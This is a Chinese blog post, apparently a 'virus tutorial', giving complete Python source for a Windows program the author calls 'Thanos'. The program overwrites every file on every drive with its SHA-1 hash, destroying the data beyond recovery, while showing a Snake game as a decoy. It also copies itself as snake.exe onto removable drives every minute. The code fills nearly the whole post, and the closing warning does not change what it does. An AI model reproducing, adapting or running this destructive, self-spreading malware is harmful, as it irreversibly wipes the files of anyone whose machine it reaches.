python3病毒系列(1) "灭霸"

之前用c++写了一个有点弱智的超简单"病毒",不过至少把张某皓的电脑搞死机了......(坏笑)

今天再开启一个新病毒系列教程-----python3病毒系列。上一个c++小病毒肯定让大家不过瘾吧?没关系,今天我给大家准备了一个"灭霸"病毒-----加密电脑上所有文件。呃......感觉......玩的有点过了呀......

----------------------------------------------------------------------(代码分割线)--------------------------------------------------------------------------------------------

import win32api
import win32con
import hashlib
import os
import shutil
import time

jmp = os.popen("wmic VOLUME GET Label, Name").read()

def Copy(np):
    p = os.getcwd() + '\\snake.exe'
    os.chdir(np)
    shutil.copy(p,np)

def Usb():
    plates = os.popen("wmic VOLUME GET Label, Name").read()
    pl=['A:/','B:/','C:/','D:/','E:/','F:/','G:/','H:/','I:/','J:/','K:/','L:/','M:/','N:/','O:/','P:/','Q:/','R:/','S:/','T:/','U:/','V:/','W:/','X:/','Y:/','Z:/']
    l = plates.__len__()
    i = 0
    for i in range(l+1):
        try:
            if plates[i+1]==':':
                path = plates[i] + plates[i+1] + plates[i+2]
                vpath = path + 'snake.exe'
                try:
                    f = open(vpath)
                except:
                    Copy(path)
        except:
            pass

def Thanos(plate):
    g = os.walk(plate)
    for path,d,filelist in g:
        for filename in filelist:
            if 'snake.exe' not in os.path.join(path,filename):
                xd = open(os.path.join(path, filename), 'rb').read()
                gys = xd
                sha1 = hashlib.sha1(gys)
                osv = sha1.hexdigest()
                bx = bytes(osv, encoding='utf-8')
                with open(os.path.join(path, filename), 'wb') as f:
                    f.write(bx)

def Snake():

    import pygame, sys, random


    check_errors = pygame.init()
    if check_errors[1] > 0:
        print("(!) Had {0} initializing errors, exiting...".format(check_errors[1]))
        sys.exit(-1)
    else:
        print("(+) PyGame successfully initialized!")


    playSurface = pygame.display.set_mode((820, 560))
    pygame.display.set_caption('snake')


    red = pygame.Color(255, 0, 0)
    green = pygame.Color(0, 255, 0)
    black = pygame.Color(0, 0, 0)
    white = pygame.Color(255, 255, 255)
    brown = pygame.Color(165, 42, 42)


    fpsController = pygame.time.Clock()


    snakePos = [100, 50]
    snakeBody = [[100, 50], [90, 50], [80, 50]]

    foodPos = [random.randrange(1, 72) * 10, random.randrange(1, 46) * 10]
    foodSpawn = True

    direction = 'RIGHT'
    changeto = direction

    score = 0


    def gameOver():
        myFont = pygame.font.SysFont('monaco', 72)
        GOsurf = myFont.render('Game Over!', True, red)
        GOrect = GOsurf.get_rect()
        GOrect.midtop = (370, 190)
        playSurface.blit(GOsurf, GOrect)
        showScore(0)
        pygame.display.flip()

        time.sleep(4)
        pygame.quit()
        sys.exit()

    def showScore(choice=1):
        sFont = pygame.font.SysFont('monaco', 24)
        Ssurf = sFont.render('Score : {0}'.format(score), True, black)
        Srect = Ssurf.get_rect()
        if choice == 1:
            Srect.midtop = (370, 230)
        else:
            Srect.midtop = (370, 230)
        playSurface.blit(Ssurf, Srect)


    while True:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                sys.exit()
            elif event.type == pygame.KEYDOWN:
                if event.key == pygame.K_RIGHT or event.key == ord('d'):
                    changeto = 'RIGHT'
                if event.key == pygame.K_LEFT or event.key == ord('a'):
                    changeto = 'LEFT'
                if event.key == pygame.K_UP or event.key == ord('w'):
                    changeto = 'UP'
                if event.key == pygame.K_DOWN or event.key == ord('s'):
                    changeto = 'DOWN'
                if event.key == pygame.K_ESCAPE:
                    pygame.event.post(pygame.event.Event(pygame.QUIT))

        if changeto == 'RIGHT' and not direction == 'LEFT':
            direction = 'RIGHT'
        if changeto == 'LEFT' and not direction == 'RIGHT':
            direction = 'LEFT'
        if changeto == 'UP' and not direction == 'DOWN':
            direction = 'UP'
        if changeto == 'DOWN' and not direction == 'UP':
            direction = 'DOWN'


        if direction == 'RIGHT':
            snakePos[0] += 10
        if direction == 'LEFT':
            snakePos[0] -= 10
        if direction == 'UP':
            snakePos[1] -= 10
        if direction == 'DOWN':
            snakePos[1] += 10


        snakeBody.insert(0, list(snakePos))
        if snakePos[0] == foodPos[0] and snakePos[1] == foodPos[1]:
            score += 1
            foodSpawn = False
        else:
            snakeBody.pop()


        if foodSpawn == False:
            foodPos = [random.randrange(1, 82) * 10, random.randrange(1, 56) * 10]
        foodSpawn = True


        playSurface.fill(white)


        for pos in snakeBody:
            pygame.draw.rect(playSurface, green, pygame.Rect(pos[0], pos[1], 10, 10))

        pygame.draw.rect(playSurface, brown, pygame.Rect(foodPos[0], foodPos[1], 10, 10))


        if snakePos[0] >= 820 or snakePos[0] < 0:
            gameOver()
        if snakePos[1] >= 470 or snakePos[1] < 0:
            gameOver()

        for block in snakeBody[1:]:
            if snakePos[0] == block[0] and snakePos[1] == block[1]:
                gameOver()

        showScore()
        pygame.display.flip()
        fpsController.tick(10)


print('lodding...')

pl=['A:/','B:/','C:/','D:/','E:/','F:/','G:/','H:/','I:/','J:/','K:/','L:/','M:/','N:/','O:/','P:/','Q:/','R:/','S:/','T:/','U:/','V:/','W:/','X:/','Y:/','Z:/']
l = jmp.__len__()
i = 0
for i in range(l+1):
    try:
        if jmp[i+1]==':':
            path = jmp[i] + jmp[i+1] + jmp[i+2]
            Thanos(path)
    except:
        pass

Snake()

win32api.MessageBox(0, 'your all files on this computer is in MD5!', 'Ooooooops!', win32con.MB_ICONWARNING)

while True:
    time.sleep(60)
    Usb()

呵呵呵呵....

WARNING!!!WARNING!!!    NEVER RUN THIS ON YOUR COMPUTER!!!

警告:永远不要在自己的电脑上运行这段代码!!!

你可能感兴趣的:(python3病毒系列(1) "灭霸")